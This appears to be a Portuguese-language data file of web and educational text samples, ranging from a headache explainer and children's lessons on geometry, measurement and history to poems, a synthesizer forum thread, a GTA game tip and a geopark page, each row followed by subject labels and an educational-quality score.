""aperto"" que geralmente acomete toda a cabeça (dos dois lados), mas que pode afetar mais a testa ou a nuca, chegando por vezes a atingir a região posterior do pescoço ou os ombros. A intensidade da dor é de leve a moderada e vai se acentuando ao longo do dia. Não causa vômitos, mas náuseas podem eventualmente ocorrer. Muitas pessoas relatam associação da dor de cabeça com tensão emocional ou estresse. +A migrânea ou enxaqueca é outro tipo bastante comum de cefaléia primária. As características fundamentais da migrânea são: dor de cabeça geralmente unilateral (embora possa acometer os dois lados da cabeça), de tipo latejante ou pulsátil, com intensidade moderada a forte e duração de quatro até 72 horas. Além disso, no período de dor deve estar presente pelo menos um dos seguintes sintomas: náuseas, vômitos, intolerância à luz (fotofobia) ou ao som (fonofobia). A dor de cabeça piora com atividade física, o que não ocorre na cefaléia tensional. Alimentos ou odores específicos podem desencadear crises de migrânea. +Algumas pessoas com migrânea podem ter sintomas que precedem o início da dor de cabeça, com duração de cinco minutos até uma hora, e que são chamados de aura. Alterações visuais (manchas, linhas, luzes ou mesmo perda visual), formigamento de alguma parte do corpo e dificuldade para falar são alguns dos tipos de aura. +O diagnóstico da cefaléia tensional, da migrânea e das demais cefaléias primárias depende fundamentalmente de uma boa avaliação médica, especialmente de uma história clínica detalhada. Exames de tomografia computadorizada ou de ressonância magnética não definem estes diagnósticos, servindo apenas para descartar outras causas de dor de cabeça, sobretudo as cefaléias secundárias. +Vale ressaltar alguns sintomas ou aspectos sugestivos de cefaléia secundária e que exigem a realização de exames complementares: +- Dor de cabeça de início muito agudo (""explosivo"") - Febre - Rigidez de nuca - História de traumatismo de crânio recente - Piora da dor de cabeça ao deitar - Não melhora com analgésicos comuns - Déficit neurológico associado (por exemplo, fraqueza em um lado do corpo, dificuldade para falar) +O tratamento das cefaléias varia conforme a causa, incluindo medicamentos (tanto para as crises quanto para prevenção), intervenções não medicamentosas e orientações a respeito de hábitos de vida. O uso indiscriminado e abusivo de medicamentos, especialmente de analgésicos, é muito comum e pode piorar a dor de cabeça, sobretudo a migrânea. É fundamental que uma pessoa com cefaléia recorrente busque atendimento médico, idealmente com um neurologista clínico, para que receba o diagnóstico correto e o trata...",original,original,original,original,4,0.8 +"O novo destino ecoturístico do interior baiano, Casa Nova, é um dos pontos mais remotos da Bahia. Situado na divisa com Piauí e Pernambuco, o município possui seu principal povoamento na barranca do Rio São Francisco, enquanto seu grande território se estende sertão adentro, com caatingas, várzeas, chapadas e serras dignas das melhores descrições de… +O município de Santa Brígida recebeu este nome em 16 de julho de 1817. Até então, ele era conhecido como “Itapicuru de Cima”. A história da cidade começou quando um fidalgo português, Antônio Manoel de Souza, se casou com uma brasileira chamada Brígida. Após a morte da mulher, o fidalgo, que era proprietário de terras,… +Está localizado no norte da Bahia. Faz limites com os municípios de Paulo Afonso, Glória, Macururé, Chorrochó e Jeremoabo (na Bahia), e com os municípios de Floresta, Belém do São Francisco, Itacuruba e Petrolândia (em Pernambuco). Abriga a tribo de índios Tuxá, que conta hoje com população de 850 índios, que ocupam área de 6.998…",original,original,original,original,2,0.4 +"Palavras-chave Anatomia Armadillo Biodiversidade Biossegurança Cirurgia Células-Tronco Mesenquimais Diagnóstico Doença Epidemiologia Epidemiologia, Enteropatias parasitárias, Saúde Pública. Parasitologia Patologia Poluição ambiental Polímeros Propriedades químicas Resíduos sólidos Saúde Pública Saúde coletiva folículo piloso histotologia neoplasias",original,original,original,original,2,0.4 +"A RedEscola é um espaço de diálogo permanente entre instituições de ensino de saúde no Brasil, favoráveis à construção de consensos em torno de uma educação permanente, que valorize a transformação das práticas profissionais e da organização do trabalho e que fortaleça o controle social. A Rede é comprometida com uma cultura de cooperação, favorecendo a construção compartilhada e a circulação de conhecimentos e o desenvolvimento de competências no interior do Sistema Único de Saúde. +A mobilização da Rede Brasileira de Escolas de Saúde Pública é de responsabilidade da Secretaria Técnica Executiva, do Grupo de Condução - composto por representantes de 10 Escolas - e de um Conselho Consultivo - que envolve órgãos ligados ao Ministério da Saúde. Esse corpo técnico se propõe a impulsionar os processos diretivos da Rede acompanhando sua evolução e sugerindo programas de renovação. +Composta por 54 Escolas, Núcleos de Saúde e Centros Formadores, integrando Escolas ligadas aos Sistemas Estaduais e Municipais de Saúde e Centros Universitários engajados nessas atividades nas cinco regiões do país, a Rede Brasileira de Escolas de Saúde Pública promove: (1) O fortalecimento de vínculos já existentes e a criação de novos vínculos; (2) Olhares diferentes sobre o mesmo fenômeno; (3) A capilaridade e a disseminação das informações; (4) A democratização das informações; (5) A desarticulação da pirâmide clássica; (6) O manejo de produtos relativamente uniformes considerando o nível de autonomia; (7) O alcance a lugares bastante heterogêneos; (8) O respeito as singularidades locais; (9) O sentimento de pertencimento ao trabalho em grupo; (10) O fortalecimento de expertises; (11) A superação do trabalho isolado, fragmentado, pulverização de esforços e recursos destinados à formação em saúde. +Missão +Articular e fortalecer as escolas e os centros formadores em saúde pública/coletiva, mediante estratégias para o desenvolvimento de políticas e ações no âmbito da Educação na Saúde, visando a produção do conhecimento e a qualificação da força de trabalho no SUS. +Visão +Ser reconhecida, nacionalmente, como ator político relevante no âmbito da Educação na Saúde, constituindo-se como referência para o desenvolvimento de políticas para o SUS e produção e circulação de conhecimento. +Valores +Inclusão +Diversidade +Solidariedade +Gestão Democrática +Aprendizagem permanente +Confiança +Para saber mais, acesse o novo site da RedEscola: http://www.rededeescolas.ensp.fiocruz.br +Rodapé e navegação auxiliar +Início +Apresentação +Apoio e Acompanhamento de Projetos +Começando um Projeto +SISAP - Sistema de Acompanhamento de Projetos +Relações Institucionais +Cooperação Nacional +Rede Escola +Cooperação Internacional +Resp +Documentos +Fale Conosco +ENSP - ESCOLA NACIONAL DE SAÚDE PÚBLICA SERGIO AROUCA +Rua Leopoldo Bulhões, 1480 - Manguinhos, Rio de Janeiro. CEP: 21041-210 - Tel: (21) 2598-2525 +Política de Privacidade +| +Acessibilidade +| +Sobre o Site +| +Créditos +| +Portal Fiocruz +| +Portal da Transparência +Facebook +youtube +instagran +Twitter +Sound cloud +Este portal é regido pela Política de Acesso Aberto ao Conhecimento, +que busca garantir à sociedade o acesso gratuito, público e aberto ao conteúdo integral de toda obra intelectual produzida pela Fiocruz.",original,original,original,original,5,1.0 +"Você já parou para pensar em quantas formas geométricas existem ao seu redor? Olhe para o seu quarto, para a rua, para a natureza. Triângulos, quadrados, círculos, retângulos... A geometria está em tudo! Mas, afinal, o que é geometria e por que ela é tão importante? + +A geometria, que vem do grego ""geo"" (terra) e ""metria"" (medida), é o ramo da matemática que estuda as formas, tamanhos e posições dos objetos no espaço. Desde as pirâmides do Egito até os prédios modernos, a geometria tem sido fundamental para a construção e o desenvolvimento da nossa sociedade. + +**Formas Bidimensionais (2D):** + +As formas 2D são aquelas que possuem apenas duas dimensões: comprimento e largura. Imagine um desenho em um papel. Alguns exemplos comuns são: + +* **Triângulo:** Uma figura com três lados e três ângulos. Podemos ver triângulos em telhados de casas, placas de sinalização e até em fatias de pizza! +* **Quadrado:** Uma figura com quatro lados iguais e quatro ângulos retos (90 graus). Jogos de tabuleiro, janelas e alguns tipos de embalagens utilizam quadrados. +* **Círculo:** Uma figura redonda, sem lados ou ângulos. Pneus de carros, moedas e pratos são exemplos de objetos circulares. +* **Retângulo:** Uma figura com quatro lados e quatro ângulos retos, onde os lados opostos são iguais. Livros, portas e telas de televisão frequentemente têm formato retangular. + +**Formas Tridimensionais (3D):** + +As formas 3D, por outro lado, possuem três dimensões: comprimento, largura e altura. Pense em objetos que você pode pegar e manusear. Alguns exemplos incluem: + +* **Cubo:** Uma figura com seis faces quadradas iguais. Dados, caixas e alguns tipos de blocos de montar são cubos. +* **Esfera:** Uma figura redonda em todas as direções, como uma bola de futebol ou uma laranja. +* **Cilindro:** Uma figura com duas bases circulares paralelas e uma superfície curva. Latas de refrigerante, rolos de papel toalha e alguns tipos de pilares são cilíndricos. +* **Pirâmide:** Uma figura com uma base poligonal (triângulo, quadrado, etc.) e faces triangulares que se encontram em um ponto chamado ápice. As pirâmides do Egito são exemplos famosos, mas também podemos encontrar pirâmides em telhados e em alguns tipos de embalagens. + +**Aplicações da Geometria no Dia a Dia:** + +A geometria não está apenas nos livros didáticos. Ela está presente em diversas áreas da nossa vida, como: + +* **Arquitetura:** A geometria é essencial para o projeto e a construção de edifícios, pontes e outras estruturas. +* **Design:** Designers utilizam a geometria para criar objetos bonitos e funcionais, desde móveis até roupas. +* **Engenharia:** Engenheiros aplicam a geometria para resolver problemas relacionados à mecânica, eletrônica e outras áreas. +* **Arte:** Muitos artistas utilizam a geometria para criar obras de arte com padrões e formas interessantes. + +**Para Pensar:** + +* Quais outras formas geométricas você consegue identificar no seu dia a dia? +* Como a geometria pode te ajudar a resolver problemas práticos? +* Você consegue imaginar um mundo sem geometria? Como seria? + +A geometria é uma ferramenta poderosa que nos ajuda a entender e a interagir com o mundo ao nosso redor. Ao aprender sobre formas, ângulos e medidas, você estará desenvolvendo habilidades importantes para a vida e abrindo portas para diversas áreas do conhecimento. Então, continue explorando o mundo da geometria e descubra as infinitas possibilidades que ela oferece!",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz a geometria de forma clara e acessível, definindo conceitos básicos (formas 2D e 3D) com exemplos do cotidiano. Aborda aplicações práticas e estimula a reflexão, tornando-o adequado para o ensino fundamental. O texto é coerente, bem escrito e relevante para o currículo escolar, assemelhando-se a um material didático introdutório.",5,1.0 +"8573935324 - Flavio Morgado - Programando Microsoft Access Com Vba - V. 04 (Em Portuguese do Brasil) +9788573934076 Programando Microsoft Access Com Vba… +9788573932447 Programando Microsoft Access Com Vba… +9788573932430 Programando Microsoft Access Com Vba… +menor preço: 165,36 €, preço mais alto: 165,36 €, preço médio: 165,36 € +Programando Microsoft Access Com Vba - V. 04 (Em Portuguese do Brasil) - novo libro +Livro na base de dados desde 09.12.2017 16:09:11 +Livro encontrado pela última vez no 09.12.2017 16:09:11 +""Coreldraw 3 - Criando Graficos Profissionais (Em Portuguese do Brasil)"", de ""Tarcizio Da Rocha"" (8573935316) +""Dicionario De Informatica (Em Portuguese do Brasil)"", de ""Marco Agisander Lunardi"" (8573935308) +""Comandos do LINUX - Prático e Didático"", de ""Marco Agisander Lunardi"" (8573935340) +""Onde Mora o Perigo: 150 Exercicios Para Prevenir - Xadrez"", de ""Jacques Ranciere"" (9788573935295) +""OBTENDO E INSTALANDO O GNU - DEBIAN"", de ""MAXUEL BARBOSA DE SOUSA"" (9788573935288) +""APRENDENDO E DESENVOLVENDO APLICACOES PARA BANCO DE DADOS COM BORLAND DELPHI 6"", de ""BRUNO AUGUSTO LOBO SOARES"" (857393526X)",original,original,original,original,2,0.4 +"Portal da Poesia: 10/01/2011 - 11/01/2011 +MEUS VERSOS LÍRICOSFLOR-MORENA(Joésio Menezes)Observando um pequeno beija-flor,Entendi porque ele é tão invejado:É porque co’o seu beijo delicadoTodos os dias conquista uma flor.No seu cortejo, o galanteadorProssegue, dia após dia, deslumbrado,Pois ele, um galante apaixonado,Consegue, em cada beijo, um novo amor...Ser esse beija-flor em bem queriaE com o meu beijo eu tentariaConquistar minha florzinha amada.Dia a dia eu repetiria a cenaBeijando a linda Flor-Morena,Dentre as flores, a mais cobiçada.LEVITAÇÃO(Joésio Menezes)Sinto minh’alma flutuar,Sinto que estou no céuQuando beijo os teus lábiosDoces como favos de mel.Sinto meu corpo levitarCom teu olhar penetrante,Com teu jeito meigo de ser,Com teu riso provocante.Sinto-me o mais feliz dos homensQuando por ti sou acariciado,Quando sinto pousar nos meusOs teus lábios adocicados.Sinto-me dono do mundoQuando sussurras que és minha,Quando me pedes que te ameE que jamais te deixe sozinha. +O MELHOR DA POESIA BRASILEIRALA TROUPE(Tania Melo)Eu, pierrô, encubro a almacom trapos de fantasia.Sob a máscara do rostomudo o pranto em alegria,disfarçando a dor que sintopor esta pesada sinade não ser, na contradança,par da linda Colombina.Pelos salões, vejo em mim,insano frangalho brancocom mil cores camufladas,outro doido saltimbanco:um caricato Arlequima bailar sem sua amada.SEM HOMOFOBIA(Rosa Pena)Amarrado num cantode cabeça para baixo.Que espanto!Fitas coloridas enlaçam...O pedido: Um cabra macho.Banho de ervasfeitiço pelo cheiro.Serve qualquer cavalheiro.Tanto faz bonito ou feio.No pastel o que valeé o big recheio.Ó bendito Antônio!Olha com simpatiapara essas titias.Junho foi o seu mês.Passou com rapidezAs mulheres?Em jejum.Será que você viroupadroeiro dos gays?Droga de armário!Todo dia sai mais um.Fêmea virou secundário. +CRÔNICA DA SEMANAMEUS TEMPOS DE CRIANÇA(Rosa Pena)O cursinho de admissão que fazíamos para enfrentar o ginasial nos colégios da rede pública, Instituto de Educação, Pedro II, Colégio de Aplicação, nessa época eram os mais visados. Puxadíssimos.A aula de história da bela professora Marisa, cabelos longos e negros, estilo Perla (cantora de sucesso na época), dava o maior ibope entre a garotada. Não só pela sua beleza, mas por suas aulas ricas em informações.Lembro-me, como se hoje fosse, o dia em que ela começou a falar dos piratas. Após explanar o que definia pirataria, começou a nos contar histórias. Sabíamos muito pouco, somente das proezas do Capitão Gancho e olhe lá, então o assunto ficou interessante.Tínhamos um colega de sala que adorava holofotes nele, acha-se “o poderoso” dentro da nossa galera constituída essencialmente de classe média, pois seu pai tinha um carrão. Bento, em outras aulas, já havia sido parente do Marquês de Pombal por parte de mãe, do Visconde do Rio Branco por parte de pai. Desta vez resolveu que alguns de seus antepassados haviam sido poderosíssimos piratas. Roubou a cena e com uma enorme euforia começou a narrar aventuras incríveis de seus primos em vigésimo grau, cometendo mil maldades, afinal todo flibusteiro tem que ser muito mau segundo o conceito Peter Pan!A professora tentou, com seu jeito meigo, voltar à pauta da aula, mas Bentinho não permitia e extrapolou geral, persistindo em falar da coragem e audácia dos seus primos caribenhos. Muitos roubos, inúmeros assassinatos. Crueldade exposta como vantagem. Rios de tesouros legados a sua família. Nós, com nove ou dez anos, acreditávamos em quase tudo.Bobinhos, graças a Deus!Num certo momento afirmou que corsários não choram jamais, mesmo ficando meses isolados do mundo em alto-mar. Ó dó! Tão cedo e já com o conceito, ou melhor, preconceito contra as lágrimas masculinas. Dona Marisa, tranqüila, aproveitou o gancho (não o capitão) e disse:— Os piratas, por viajarem muito tempo e conviverem somente entre homens, muitas vezes acabam por praticar a homossexualidade. A sala destacou-se pelo silêncio. Não se ouviram risos, mesmo porque a professora conduzi...",original,original,original,original,3,0.6 +"Há muitas formas de se praticar um ato de violência contra uma criança. Além das mais óbvias e chocantes, escolho hoje a violência simbólica: todos os dias matamos seus sonhos. +Ensinamos às nossas crianças que o papai noel e o coelhinho da páscoa não existem, pois as crianças precisam “crescer” e abandonar o mundo da fantasia (isso é coisa de bebê). +Ensinamos que devem abandonar o desejo de ser astronauta ou bailarina e se concentrar em estudar para ter um bom futuro, uma profissão. +Moldamos seus comportamentos e as condicionamos sua existência à nossa aprovação. Em nome do “eu sei o que é melhor para você” exigimos que sejam os melhores alunos, atletas, musicistas… +Despejamos nossas frustrações e queremos que nossos filhos e filhas realizem tudo aquilo nós mesmos não fomos capazes… +Em minha casa, o Calvin é quase um membro da família… Temos todos os seus livros e acompanhamos sua viagem pela infância… somos coniventes em todas as suas aventuras. Por isso meu choque ao me deparar com essa tirinha… +Porque é isso que todos os dias acontece com as crianças que não são compreendidas e amadas em toda a sua maravilhosa singularidade.",original,original,original,original,2,0.4 +"Venda: Casa de Alto Padrão em Condomínio Fechado - R$ 2,5 milhões",original,original,original,original,0,0.0 +"Já parou para pensar em quantas vezes usamos medidas no nosso dia? Medir está presente em quase tudo que fazemos, desde cozinhar um bolo delicioso até planejar uma viagem incrível! E entender as medidas e grandezas é essencial para nos tornarmos verdadeiros exploradores do mundo da matemática. + +Vamos começar pelo básico: o que são grandezas? Grandezas são tudo aquilo que pode ser medido. O comprimento de uma mesa, a massa de um saco de arroz, o tempo que leva para ir à escola, a temperatura do nosso corpo, e até a área do seu quarto são exemplos de grandezas. Cada grandeza tem sua própria unidade de medida, que é como se fosse um ""sobrenome"" que a identifica. Por exemplo, o comprimento pode ser medido em metros (m), centímetros (cm) ou quilômetros (km), dependendo do que estamos medindo. A massa, por sua vez, pode ser medida em gramas (g) ou quilogramas (kg). + +Imagine que você quer fazer um bolo para sua família. A receita pede 200 gramas de farinha, 150 ml de leite e 3 ovos. Percebe como as medidas são importantes? Se você colocar mais farinha do que o necessário, o bolo pode ficar duro. Se colocar menos leite, ele pode ficar seco. Entender as unidades de medida e saber como convertê-las (por exemplo, transformar gramas em quilogramas) é fundamental para o sucesso da sua receita! + +Outro exemplo prático é o planejamento de uma viagem. Se você vai viajar de carro com seus pais, é importante saber a distância entre as cidades, o tempo que levará para chegar ao destino e o consumo de combustível do carro. Essas informações, que envolvem medidas de comprimento, tempo e capacidade, te ajudarão a organizar a viagem e evitar imprevistos. + +Além disso, as medidas estão presentes em diversas profissões. Um engenheiro precisa medir com precisão os materiais de construção, um médico precisa medir a pressão arterial de um paciente, e um arquiteto precisa medir os espaços para projetar um edifício. Dominar as medidas e grandezas te abrirá muitas portas no futuro! + +Para finalizar, vamos pensar um pouco: você já reparou como as unidades de medida influenciam a nossa percepção das coisas? Um campo de futebol parece muito grande, mas se medirmos a área dele em centímetros quadrados, o número será enorme e talvez perca um pouco o sentido. A escolha da unidade de medida correta facilita a nossa compreensão do mundo ao nosso redor. + +Então, da próxima vez que você estiver cozinhando, viajando ou simplesmente observando o mundo, lembre-se da importância das medidas e grandezas. Elas são as ferramentas que nos permitem quantificar, comparar e entender o universo que nos cerca. Que tal começar a explorar as medidas hoje mesmo?",Matemática,Medidas e grandezas,anos finais (6º ao 9º ano),"O texto introduz o conceito de grandezas e medidas de forma clara e contextualizada, utilizando exemplos práticos do cotidiano, como cozinhar e planejar uma viagem. A linguagem é acessível e adequada para o ensino fundamental, promovendo a compreensão da importância das medidas em diversas situações. A progressão do texto é lógica, desde a definição de grandezas até a sua aplicação em diferentes áreas do conhecimento e profissões. Há uma boa conexão com o currículo escolar, abordando conceitos fundamentais da matemática.",5,1.0 +"Olá, pequenos exploradores! Já pararam para pensar por que comemos pamonha na festa junina, ou por que pulamos sete ondinhas no Ano Novo? Essas são as nossas tradições culturais, como um tesouro cheio de histórias e significados, passado de geração em geração. Vamos juntos descobrir mais sobre elas? + +Imagine o Brasil como um grande jardim, onde cada flor representa um costume diferente. Algumas flores vieram de longe, trazidas por pessoas de outros países, como a pizza da Itália ou o quimono do Japão. Outras flores nasceram aqui mesmo, como o samba, que nasceu no Rio de Janeiro e encanta o mundo todo, ou o chimarrão, um costume lá do sul do país, reunindo as pessoas em volta de uma cuia. + +As tradições culturais são como a receita secreta da nossa identidade. Elas nos ensinam sobre o passado, celebram o presente e nos ajudam a construir o futuro. É através das festas populares, das danças, das comidas típicas e das histórias contadas pelos nossos avós que aprendemos quem somos e de onde viemos. Por exemplo, a festa do Boi-Bumbá, no Amazonas, é uma grande celebração da cultura indígena e africana, cheia de cores, músicas e personagens fantásticos. + +E você, qual a tradição cultural que mais te encanta? Talvez seja a receita do bolo de fubá da sua avó, ou a cantiga de roda que você aprendeu na escola. Todas as tradições são importantes e nos mostram a riqueza e a diversidade do nosso país. Que tal conversar com seus pais, avós ou vizinhos e descobrir mais sobre as tradições da sua família e da sua comunidade? Você pode se surpreender com as histórias incríveis que vai encontrar! + +Lembre-se: as tradições culturais são um presente precioso que devemos cuidar e valorizar. Ao conhecê-las e praticá-las, estamos fortalecendo a nossa identidade e mostrando ao mundo a beleza e a diversidade do nosso Brasil. Então, da próxima vez que você participar de uma festa junina, dançar uma quadrilha ou saborear um prato típico, lembre-se que você está fazendo parte de uma história que começou há muito tempo e que continuará sendo contada por muitas gerações.",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional por introduzir o conceito de tradições culturais de forma acessível e envolvente para crianças. Utiliza linguagem simples e exemplos concretos, como festas juninas e comidas típicas, para ilustrar a importância das tradições na formação da identidade cultural. Incentiva a interação familiar e a pesquisa sobre as próprias raízes, promovendo o aprendizado ativo e a valorização da diversidade cultural brasileira.",5,1.0 +"Na ocasião, foi solicitada a urgente elaboração do projeto técnico para concluir a pavimentação de 25 quilômetros da PE-615 no trecho entre o distrito de Nascente, e o povoado de Socorro",original,original,original,original,1,0.2 +"Olá, pequenos exploradores do tempo! Já imaginaram poder viajar para o passado e conhecer como as coisas eram antes? Ou então, espiar o futuro e ver o que nos espera? Bem, nós não temos uma máquina do tempo de verdade, mas temos algo muito parecido: a linha do tempo! + +A linha do tempo é como um mapa da história. Imagine uma régua bem comprida, onde cada pedacinho representa um momento diferente. Nela, podemos organizar os acontecimentos, desde os mais antigos até os mais recentes. Assim, fica fácil entender a ordem em que as coisas aconteceram e como uma coisa levou à outra. + +Querem ver como funciona? Vamos pensar no nosso dia a dia. Primeiro, vocês acordam, depois tomam café da manhã, vão para a escola, almoçam, fazem a lição de casa e, finalmente, vão dormir. Se colocarmos essas atividades em uma linha, desde a hora que acordam até a hora de dormir, teremos uma pequena linha do tempo do seu dia! + +A história do Brasil também pode ser contada em uma linha do tempo. Podemos marcar quando os portugueses chegaram, quando o Brasil ficou independente, quando a República foi proclamada e muitos outros momentos importantes. Assim, conseguimos ver como o nosso país foi se transformando ao longo dos anos. + +Mas por que é importante conhecer a linha do tempo? Porque ela nos ajuda a entender o presente! Tudo o que vivemos hoje é resultado do que aconteceu antes. Se não soubéssemos o que aconteceu no passado, seria difícil entender por que as coisas são como são agora. + +Por exemplo, vocês sabiam que antigamente as crianças não tinham acesso à escola como têm hoje? Conhecer essa informação nos faz valorizar ainda mais a oportunidade de estudar e aprender. A linha do tempo nos ajuda a dar valor ao presente e a construir um futuro ainda melhor. + +Que tal criarmos a nossa própria linha do tempo? Podemos começar com a história da nossa família, marcando o nascimento dos nossos pais, avós e bisavós. Ou então, podemos criar uma linha do tempo da nossa cidade, pesquisando quando ela foi fundada e quais foram os acontecimentos mais importantes que aconteceram por aqui. + +A linha do tempo é uma ferramenta muito poderosa para entendermos o mundo à nossa volta. Então, preparem seus lápis e borrachas, e vamos embarcar nessa aventura de explorar o tempo! Que momentos da sua vida você gostaria de colocar na sua linha do tempo? Pense nisso e comece a construir a sua história!",História,Linha do tempo,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Ele introduz o conceito de linha do tempo de forma clara e envolvente, utilizando exemplos práticos e relacionáveis ao cotidiano dos alunos. A linguagem é acessível e o texto incentiva a reflexão e a criação de linhas do tempo pessoais e históricas, promovendo o aprendizado sobre a história e a valorização do presente. O texto é adequado ao nível de escolaridade e cumpre os critérios estabelecidos.",5,1.0 +"Todo mundo sabe que o som alto é prejudicial à saúde dos ouvidos, mas parece que, mesmo com os alarmes dos especialistas, ninguém anda ligando muito para isso. O Suadieta vai ajudar você a entender de uma vez por todas porque além dos ouvidos, todo o seu corpo pode estar em risco quando você leva uma vida barulhenta demais. +Quando o volume alto do som se estende por uma noite inteira, o sono é interrompido. Você acorda com o coração batendo mais rápido, sua pressão sanguínea sobe e os hormônios do estresse são liberados. Afinal, é importante você saber que, mesmo quando se está dormindo, os ouvidos continuam monitorando o ambiente no qual estamos na tentativa de identificar possíveis perigos. Como nas grandes cidades não corremos o risco de ser atacado por uma fera selvagem, a herança que nos restou foi a ansiedade e o estresse cardiovascular. Ou seja, além de tomar um baita susto na madrugada isso compromete a saúde do seu coração. +A questão é que ruídos altos estamos acostumados ou não, são sempre prejudiciais a nossa saúde. Seja buzina de carro, ronco de caminhão, uma “simples” avenida movimentada, rádio ligado, celular tocando… É difícil que tantos sons produzidos ao mesmo tempo passem despercebidos. Imagina se forem altos? É importante tomar cuidado e se lembrar sempre de que o malefício mais direto do excesso de barulho é a perda auditiva. Uma vez danificadas as células que levam o estímulo auditivo ao nosso cérebro, nunca mais elas serão as mesmas. Quando o incomodo vier, pode ser tarde demais. +A Astir disponibiliza profissional fonoaudióloga; (A fonoaudiologia ou Terapia da fala e Audiologia, antes denominada logopedia é a ciência que tem como objeto de estudo as funções neurovegetativas (mastigação, deglutição e aspectos funcionais da respiração) e a comunicação humana neurológica mais complexa que o sistema nervoso pode processar no que se refere ao seu…) +Não considere quaisquer informações apresentadas nesta apresentação como aconselhamento médico ou diagnóstico. Você deve sempre consultar o seu médico ou profissional de saúde qualificado e especializado (fonoaudiólogo), antes de seguir qualquer TIPO DE ACONSELHAMENTO OU SE AUTOMEDICAR baseado nessas dicas. A Astir, não se responsabiliza pelo conteúdo do texto da fonte. (Nota da assessoria de imprensa)",original,original,original,original,2,0.4 +"Mundo maravilhoso da síntese! - Cifra Club +Mundo maravilhoso da síntese! +Este fórum é muito carente no que diz respeito a síntese, se cada um colocar sua contribuição isto poderá tornar uma referência para o assunto. +O espaço está aberto para dicas, trocas de idéias e perguntas a respeito. Uma coisa que seria interessante é que ao tentar responder alguma dúvidade de alguém e quiser mostrar uma matéria a respeito ou artigo, coloquem o link apenas. Ficar colando e copiando acaba que enche muito o tópico de coisas repetidas que só basta dar um clique. Vamos formular opiniões! +Eu já vou deixar minha contribuição para usuários da Korg em especial X3, mas servem para outros que não tem Filtro de Resonance. +Eu sentia a maior falta deste recurso para solos de Leads e fuçando no sábado fiz o seguinte. Escolhi uma amostra no oscilador que simulasse um moog, daí apliquei no processador de efeito uma Distorção (efeito 31) e o segundo efeito um Reverb com Delay. No efeito de Distorção você endereça este efeito para o Slider com o I (Intensidade no máximo), daí na outra página onde tem o Drive você coloca a seu gosto e tem lá o Resonance que você coloca a seu gosto também. Quando você salva o timbre no Prog já está pronto para controlar em tempo real a Ressonância do timbre. Fica muito louco! Quem tem Roland Juno-D sabe o tanto que este recurso é interessante para solos de Leads. +Isto é um artifício para um teclado que não tem filtro de ressonância. Só que na distorção tem o controle de ressonância. +Espero ter ajudado alguém. Isto pode ser válido para todo Korg com sistema de síntese AI2. +Alguém sabe para que serve o filto EG? Ele tem todas as características do VDA como (Atack, Decay, Release, Sustain etc), mas parece que é relacionado ao comportamento da onda sonora no tempo, mas não de amplitude como o VDA. +""Por exemplo, não entendi direito até hj pra que serve o Filtro LFO. +Filtro LFO. +É uma alteração cíclica no timbre no decorrer do tempo. Você produz vibrato atraves dele. +""Mas não é uma função semelhante ao Decay (q tb controla a intensidade do Vibrato) junto com o rate (velocidade do vibrato). Ele é o que exatamente?"" +Low Frequency Oscillator - Um oscilador usado para a modulação cuja a escala está abaixo da escala audível (20 hertz). Dentro deste filtro existem os parâmetros. O Rate, Decay são parâmetros deste filtro. Um controla a velocidade e o outro a velocidade como você mesmo disse. +Assim como o VDA (que seria o comportamento do timbre no tempo no sentido de amplificação) .Você ataca, ele sustenta depois decai e quando você tira o dedo das teclas ele corta o som quase que instantaneamente. O exemplo típico de um comportamente de um piano. +""Agora começou a ficar mais interessante :D +Mas mesmo estando abaixo da escala audível, você por exemplo, o usa? +Outra coisa... para quem for ler.... só edite ali ""Um controla a velocidade e o outro a intensidade"". +Valeu pela informação tb !!"" +Eu uso o LFO para timbres de Flautas por exemplo. Só que ao invés de edereçar o efeito para o Modulation eu coloco no After Touch. Assim dá mais expressividade ao timbre. Eu aperto a teclas e depois de uns segundos eu coloco uma pressão a mais par produzir o vibrado. +Complementando, traduzi um pequeno trecho (abaixo, em itálico) de um excelente artigo do Harmony Central, escrito por Jim Heckroth, que fala com muita propriedade e correção sobre os filtros de baixa freqüência. +Vibrato e trêmolo são efeitos geralmente produzidos por músicos que tocam instrumentos acústicos. Vibrato é essencialmente uma modulação de baixa frequência do pitch do timbre, enquanto que o trêmolo é a mesma modulação aplicada à amplitude do som. Estes efeitos são simulados em sintetizadores implementando osciladores de baixa freqüências (LFOs), utilizados para modular o pitch ou a amplitudade dos sons produzidos. +Efeitos de vibrato e trêmolo naturais tendem a aumentar sua intensidade na medida em que uma nota é sustentada. Isto é obtido aplicando-se um envelope ao LFO. Por exemplo...",original,original,original,original,3,0.6 +"Como roubar casas +Pergunta: Como faço para roubar casas? +Resposta: Você só poderá assaltar casas depois da missão ""Home Invasion"". Depois de completada esta missão você poderá procurar por um van preta saindo da casa do CJ, virando a primeira rua à esquerda e depois na próxima rua à direita, depois à esquerda novamente. Ela estará no lado esquerdo da rua. Para fazer assaltos você deverá pegar a van entre 22:00 e 6 da manhã, apetando o botão R3 no playstation, e a tecla ""2"" no computador, para fazer a missão começar. Vá até as casas indicadas no mapa e assalte-as.",original,original,original,original,0,0.0 +"Jazida do Metoposaurus algarvensis - Geossitios - Explorar - Geoparque Algarvensis - Municípios de Loulé, Silves e Albufeira +Please ensure Javascript is enabled for purposes of website accessibility +Links +Início +Sobre +Quem somos? +Localização +Sustentabilidade +FAQs +Glossário +Planear +Como Chegar +Onde Comer +Onde Dormir +Onde Comprar +O Que Fazer +Aprender +Centros Interpretativos +Programas Escolares +Atividades +Formação +Projetos +Recursos Online +Explorar +História Geológica +Geossitios +Património Cultural +Biodiversidade +Rotas e Percursos +Mapa Interactivo +UNESCO +O que é um Geoparque UNESCO +Forum Português de Geoparques +Agenda +Notícias +Calendário +FR +PT +EN +GA_INICIO > GA_EXPLORAR > Géosites > Jazida do Metoposaurus algarvensis +Paleontologia +Jazida do Metoposaurus algarvensis +O nome do aspirante Geoparque Algarvensis teve origem no fóssil que foi descoberto neste geossítio: o Metoposaurus algarvensis, uma espécie de anfíbio pré-histórico único no mundo. +Esta jazida situada na Penina, numa das vertentes da Rocha da Pena, contém um elevado número de ossos de crânio e algum material pós-cranial de vários indivíduos desta espécie, vestígios concentrados num estreito nível estratigráfico do “Grés de Silves”. +Vivendo em lagos e rios há cerca de 227 milhões de anos, no período do Triássico Superior, os Metoposaurus algarvensis alimentavam-se principalmente de peixes e pequenos animais. Por vezes, os corpos de água onde os Metoposaurus viviam sofriam com 